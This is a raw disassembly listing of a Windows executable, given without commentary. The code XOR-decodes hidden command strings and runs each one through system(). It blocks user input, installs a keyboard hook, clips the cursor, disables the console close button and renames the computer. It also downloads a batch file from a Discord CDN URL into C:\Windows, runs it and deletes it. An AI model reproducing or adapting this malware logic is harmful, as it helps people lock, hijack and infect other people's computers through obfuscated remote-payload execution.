mov al, byte [reloc.WLDAP32.dll_Ordinal_79]
movups xmmword [rbp + 0x148], xmm0
mov byte [rbp + 0x164], al
movsd xmm0, qword [0x140120e48]
movsd qword [rbp + 0x158], xmm0
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x1d
jl 0x14003a973
lea rcx, [rbp + 0x148]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140120a70]
mov al, byte [0x140120a80]
lea r9, [rbp + 0x148]
mov byte [rbp + 0x158], al
mov r8d, r14d
movups xmmword [rbp + 0x148], xmm0
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x11
jl 0x14003a9d3
lea rcx, [rbp + 0x148]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140120ca8]
movzx eax, word [0x140120cc8]
mov r8d, r14d
movups xmm1, xmmword [0x140120cb8]
mov word [rbp + 0x190], ax
lea r9, [rbp + 0x170]
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm1
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x22
jl 0x14003aa43
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor edx, edx
lea rcx, [0x14003c3a4]
call qword [sym.imp.USER32.dll_EnumWindows]
call fcn.14003897c
mov ecx, r15d
call qword [sym.imp.USER32.dll_BlockInput]
mov cl, r15b
call fcn.140038944
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140038eec]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor r9d, r9d
lea rdx, [0x14003902c]
mov r8, rax
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov cl, r15b
mov qword [0x140148960], rax
call fcn.140039118
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov edi, 0x40
xor r9d, r9d
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov dword [rsp + 0x28], 0x258
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x320
mov rsi, rax
call qword [sym.imp.USER32.dll_SetWindowPos]
lea edx, [rdi - 0x50]
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetWindowLongW]
lea edx, [rdi - 0x50]
mov rcx, rsi
and eax, 0xff38ffff
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov ecx, r15d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x30], edi
xor r9d, r9d
mov dword [rsp + 0x28], ebx
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], eax
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetWindowPos]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor r8d, r8d
mov rcx, rax
mov rdi, rax
lea edx, [r8 + 3]
call qword [sym.imp.USER32.dll_ShowScrollBar]
lea rdx, [rbp + 0x1d0]
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, r15d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
sub eax, dword [rbp + 0x1dc]
xor ecx, ecx
cdq
sub eax, edx
sar eax, 1
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov r9d, dword [rbp + 0x1d8]
sub eax, r9d
cdq
sub eax, edx
mov ecx, dword [rbp + 0x1dc]
mov r8d, ebx
sar eax, 1
mov dword [rsp + 0x28], r15d
mov edx, eax
mov dword [rsp + 0x20], ecx
mov rcx, rdi
call qword [sym.imp.USER32.dll_MoveWindow]
lea rdx, [rbp + 0x218]
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetClientRect]
lea rcx, [rbp + 0x218]
call qword [sym.imp.USER32.dll_ClipCursor]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor r9d, r9d
lea rdx, [0x14003902c]
mov r8, rax
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov ebx, 0xfffffff0
mov rcx, rsi
mov edx, ebx
call qword [sym.imp.USER32.dll_GetWindowLongW]
mov edx, ebx
mov rcx, rsi
and eax, 0xff37ffff
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov dword [rsp + 0x30], Ordinal_45
xor r9d, r9d
mov dword [rsp + 0x28], r14d
xor r8d, r8d
or rdx, 0xffffffffffffffff
mov dword [rsp + 0x20], r14d
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetWindowPos]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetSystemMenu]
mov r8d, r15d
mov edx, 0xf060
mov rcx, rax
call qword [sym.imp.USER32.dll_EnableMenuItem]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
lea rdx, [rbp + 0x1c0]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rbp + 0x1c0]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, r15d
call fcn.140038f70
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
lea rsi, [0x1401489a0]
mov byte [0x140148d40], r15b
mov rcx, rsi
call fcn.140046df0
call fcn.140038704
mov rcx, rsi
call fcn.140046df0
lea rdx, [rbp + 0x140]
mov dword [rbp + 0x140], reloc.WS2_32.dll_recv
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea rcx, [rbp + 0x170]
call fcn.140038a48
mov rcx, qword [rbp + 0x180]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 8
jb 0x14003c379
mov qword [rsp + 0x30], rcx
lea rax, [rbp + 0x170]
mov ebx, reloc.WS2_32.dll_ntohs
lea r9, str.DESKTOP_
cmp qword [rbp + 0x188], rbx
lea rcx, [rbp + 0x148]
cmova rax, qword [rbp + 0x170]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 8
call fcn.14003c878
cmp qword [rbp + 0x160], rbx
lea rcx, [rbp + 0x148]
cmova rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_SetComputerNameA]
test eax, eax
je 0x14003adc9
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Computer_name_changed_to:
call fcn.14003d184
cmp qword [rbp + 0x160], rbx
lea rdx, [rbp + 0x148]
mov r8, qword [rbp + 0x158]
mov rcx, rax
cmova rdx, qword [rbp + 0x148]
call fcn.14003de80
jmp 0x14003addc
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_changing_computer_name.
call fcn.14003d184
lea rdx, [0x14003d2f4]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140038cb4
mov rdx, qword [rbp + 0x160]
cmp rdx, rbx
jbe 0x14003ae31
mov rcx, qword [rbp + 0x148]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ae2c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003c357
call fcn.1400a1670
mov rdx, qword [rbp + 0x188]
mov qword [rbp + 0x158], r14
mov qword [rbp + 0x160], rbx
mov byte [rbp + 0x148], r14b
cmp rdx, rbx
jbe 0x14003ae86
mov rcx, qword [rbp + 0x170]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ae81
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003c357
call fcn.1400a1670
mov rcx, rsi
call fcn.140046df0
mov rcx, rsi
call fcn.140046df0
mov rcx, rsi
call fcn.140046df0
lea r9, str.winmgmtreset.bat
lea r8, str.C:Windows
lea rdx, str.cmd__c_start___s_s_
lea rcx, [rbp + 0x230]
call fcn.14003d32c
mov rcx, rsi
call fcn.140046df0
mov rcx, rsi
call fcn.140046df0
mov rcx, rsi
call fcn.140046df0
lea rdx, str.C:Windows
lea rcx, str.https:__cdn.discordapp.com_attachments_1136580286159790150_1181727899951304824_gigidodododada.bat_ex65821cdeis656fa7dehmbadc8ff966772c22237e390a9eafc0e37c290830c4936728138cba33b1194d90
call fcn.1400382f0
test al, al
je 0x14003aefe
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Operation_completed_successfully.
jmp 0x14003af0c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str.Operation_failed.
call fcn.14003ce58
lea rdx, [0x14003cfe0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x148]
mov qword [rbp + 0x148], 2
call fcn.14003d07c
mov rcx, rsi
call fcn.140046df0
lea rcx, str.C:Windowswinmgmtreset.bat
call fcn.140038688
test al, al
je 0x14003af60
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Files_deleted_successfully.
jmp 0x14003af6e
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str.Failed_to_delete_files.
call fcn.14003ce58
lea rdx, [0x14003cfe0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rsi
call fcn.140046df0
mov eax, dword [0x140120b78]
lea r9, [rbp + 0x148]
movups xmm0, xmmword [0x140120b68]
mov dword [rbp + 0x158], eax
mov r8d, r14d
mov al, byte [0x140120b7c]
movups xmmword [rbp + 0x148], xmm0
mov byte [rbp + 0x15c], al
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x15
jl 0x14003afbb
lea rcx, [rbp + 0x148]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x140120bed], r14b
mov eax, dword [0x140120be8]
movups xmm0, xmmword [0x140120bd8]
mov dword [rbp + 0x158], eax
movzx eax, word [0x140120bec]
movups xmmword [rbp + 0x148], xmm0
mov word [rbp + 0x15c], ax
je 0x14003b061
mov r8d, r14d
lea r9, [rbp + 0x148]
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x16
jl 0x14003b032
lea rcx, [rbp + 0x148]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140120930]
mov al, byte [0x140120948]
lea r9, [rbp + 0x148]
mov byte [rbp + 0x160], al
mov r8d, r14d
movups xmmword [rbp + 0x148], xmm0
movsd xmm0, qword [0x140120940]
movsd qword [rbp + 0x158], xmm0
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x19
jl 0x14003b0a2
lea rcx, [rbp + 0x148]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x140120c09], r14b
movups xmm0, xmmword [0x140120bf0]
movzx eax, word [0x140120c08]
mov word [rbp + 0x160], ax
movups xmmword [rbp + 0x148], xmm0
movsd xmm0, qword [0x140120c00]
movsd qword [rbp + 0x158], xmm0
je 0x14003b14c
mov r8d, r14d
lea r9, [rbp + 0x148]
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x1a
jl 0x14003b11d
lea rcx, [rbp + 0x148]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x140120b67], r14b
movups xmm0, xmmword [str.ZDVYYP_e]
movups xmmword [rbp + 0x148], xmm0
movsd xmm0, qword [0x140120b60]
movsd qword [rbp + 0x158], xmm0
je 0x14003b1b9
mov r8d, r14d
lea r9, [rbp + 0x148]
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x18
jl 0x14003b18a
lea rcx, [rbp + 0x148]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x140120e9f], r14b
movups xmm0, xmmword [str._QAE_]
movups xmmword [rbp + 0x148], xmm0
movsd xmm0, qword [0x140120e98]
movsd qword [rbp + 0x158], xmm0
je 0x14003b226
mov r8d, r14d
lea r9, [rbp + 0x148]
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x18
jl 0x14003b1f7
lea rcx, [rbp + 0x148]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140120c38]
mov al, byte [0x140120c50]
lea r9, [rbp + 0x148]
mov byte [rbp + 0x160], al
mov r8d, r14d
movups xmmword [rbp + 0x148], xmm0
movsd xmm0, qword [0x140120c48]
movsd qword [rbp + 0x158], xmm0
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x19
jl 0x14003b267
lea rcx, [rbp + 0x148]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x140120a21], r14b
movups xmm0, xmmword [0x140120a08]
movzx eax, word [0x140120a20]
mov word [rbp + 0x160], ax
movups xmmword [rbp + 0x148], xmm0
movsd xmm0, qword [0x140120a18]
movsd qword [rbp + 0x158], xmm0
je 0x14003b311
mov r8d, r14d
lea r9, [rbp + 0x148]
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x1a
jl 0x14003b2e2
lea rcx, [rbp + 0x148]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x140120c71], r14b
movups xmm0, xmmword [0x140120c58]
movzx eax, word [0x140120c70]
mov word [rbp + 0x160], ax
movups xmmword [rbp + 0x148], xmm0
movsd xmm0, qword [0x140120c68]
movsd qword [rbp + 0x158], xmm0
je 0x14003b38c
mov r8d, r14d
lea r9, [rbp + 0x148]
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x1a
jl 0x14003b35d
lea rcx, [rbp + 0x148]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140120950]
mov al, byte [0x140120968]
lea r9, [rbp + 0x148]
mov byte [rbp + 0x160], al
mov r8d, r14d
movups xmmword [rbp + 0x148], xmm0
movsd xmm0, qword [0x140120960]
movsd qword [rbp + 0x158], xmm0
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x19
jl 0x14003b3cd
lea rcx, [rbp + 0x148]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140120a28]
mov eax, dword [0x140120a40]
lea r9, [rbp + 0x148]
mov dword [rbp + 0x160], eax
mov r8d, r14d
mov al, byte [reloc.WLDAP32.dll_Ordinal_79]
movups xmmword [rbp + 0x148], xmm0
mov byte [rbp + 0x164], al
movsd xmm0, qword [0x140120a38]
movsd qword [rbp + 0x158], xmm0
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x1d
jl 0x14003b449
lea rcx, [rbp + 0x148]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140120c10]
mov al, byte [0x140120c30]
mov r8d, r14d
movups xmm1, xmmword [0x140120c20]
mov byte [rbp + 0x190], al
lea r9, [rbp + 0x170]
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm1
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x21
jl 0x14003b4b7
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.C_BSEKQ_WP]
mov eax, dword [0x140120ca0]
lea r9, [rbp + 0x170]
movups xmm1, xmmword [0x140120c88]
mov dword [rbp + 0x198], eax
mov r8d, r14d
mov al, byte [0x140120ca4]
movups xmmword [rbp + 0x170], xmm0
mov byte [rbp + 0x19c], al
movsd xmm0, qword [0x140120c98]
movsd qword [rbp + 0x190], xmm0
movups xmmword [rbp + 0x180], xmm1
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x2d
jl 0x14003b541
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x140120b10]
lea r9, [rbp + 0x170]
movups xmm0, xmmword [0x140120af0]
mov dword [rbp + 0x190], eax
mov r8d, r14d
movups xmm1, xmmword [0x140120b00]
mov al, byte [0x140120b14]
movups xmmword [rbp + 0x170], xmm0
mov byte [rbp + 0x194], al
movups xmmword [rbp + 0x180], xmm1
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x25
jl 0x14003b5bb
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140120970]
mov eax, dword [0x140120990]
mov r8d, r14d
movups xmm1, xmmword [0x140120980]
mov dword [rbp + 0x190], eax
lea r9, [rbp + 0x170]
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm1
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x24
jl 0x14003b629
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140120a48]
mov eax, dword [0x140120a68]
mov r8d, r14d
movups xmm1, xmmword [0x140120a58]
mov dword [rbp + 0x190], eax
lea r9, [rbp + 0x170]
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm1
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x24
jl 0x14003b697
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.UG_BT]
mov eax, dword [0x140120b38]
mov r8d, r14d
movups xmm1, xmmword [0x140120b28]
mov dword [rbp + 0x190], eax
lea r9, [rbp + 0x170]
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm1
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x24
jl 0x14003b705
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140120900]
mov eax, dword [0x140120920]
mov r8d, r14d
movups xmm1, xmmword [0x140120910]
mov dword [rbp + 0x190], eax
lea r9, [rbp + 0x170]
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm1
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x24
jl 0x14003b773
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140120da8]
mov eax, dword [0x140120de0]
lea r9, [rbp + 0x170]
movups xmm1, xmmword [0x140120db8]
mov dword [rbp + 0x1a8], eax
mov r8d, r14d
movzx eax, word [0x140120de4]
movups xmmword [rbp + 0x170], xmm0
mov word [rbp + 0x1ac], ax
movups xmm0, xmmword [0x140120dc8]
movups xmmword [rbp + 0x180], xmm1
movups xmmword [rbp + 0x190], xmm0
movsd xmm0, qword [0x140120dd8]
movsd qword [rbp + 0x1a0], xmm0
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x3e
jl 0x14003b80d
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm0, xmmword [0x140120df0]
lea r9, [rbp + 0x170]
movaps xmm1, xmmword [0x140120e00]
mov r8d, r14d
mov al, byte [reloc.WLDAP32.dll_Ordinal_60]
movaps xmmword [rbp + 0x170], xmm0
movaps xmm0, xmmword [0x140120e10]
movaps xmmword [rbp + 0x180], xmm1
movaps xmm1, xmmword [0x140120e20]
movaps xmmword [rbp + 0x190], xmm0
movaps xmmword [rbp + 0x1a0], xmm1
mov byte [rbp + 0x1b0], al
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x41
jl 0x14003b897
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140120d68]
mov eax, dword [0x140120da0]
mov r8d, r14d
movups xmm1, xmmword [0x140120d78]
mov dword [rbp + 0x1a8], eax
lea r9, [rbp + 0x170]
movups xmmword [rbp + 0x170], xmm0
movups xmm0, xmmword [0x140120d88]
movups xmmword [rbp + 0x180], xmm1
movups xmmword [rbp + 0x190], xmm0
movsd xmm0, qword [0x140120d98]
movsd qword [rbp + 0x1a0], xmm0
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x3c
jl 0x14003b923
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140120d08]
movzx eax, word [0x140120d38]
mov r8d, r14d
movups xmm1, xmmword [0x140120d18]
mov word [rbp + 0x1a0], ax
lea r9, [rbp + 0x170]
movups xmmword [rbp + 0x170], xmm0
movups xmm0, xmmword [0x140120d28]
movups xmmword [rbp + 0x180], xmm1
movups xmmword [rbp + 0x190], xmm0
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x32
jl 0x14003b9a1
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140120ab8]
mov eax, dword [0x140120ae8]
mov r8d, r14d
movups xmm1, xmmword [0x140120ac8]
mov dword [rbp + 0x1a0], eax
lea r9, [rbp + 0x170]
movups xmmword [rbp + 0x170], xmm0
movups xmm0, xmmword [0x140120ad8]
movups xmmword [rbp + 0x180], xmm1
movups xmmword [rbp + 0x190], xmm0
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x34
jl 0x14003ba1d
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.AYQ_E]
mov al, byte [0x140120d60]
mov r8d, r14d
movups xmm1, xmmword [str.__0_]
mov byte [rbp + 0x190], al
lea r9, [rbp + 0x170]
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm1
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x21
jl 0x14003ba8b
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140120cd0]
mov r8d, r14d
lea r9, [rbp + 0x170]
movups xmm1, xmmword [str.0_75em_9.___5t]
movups xmmword [rbp + 0x170], xmm0
movups xmm0, xmmword [0x140120cf0]
movups xmmword [rbp + 0x180], xmm1
movups xmmword [rbp + 0x190], xmm0
movsd xmm0, qword [0x140120d00]
movsd qword [rbp + 0x1a0], xmm0
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x38
jl 0x14003bb0b
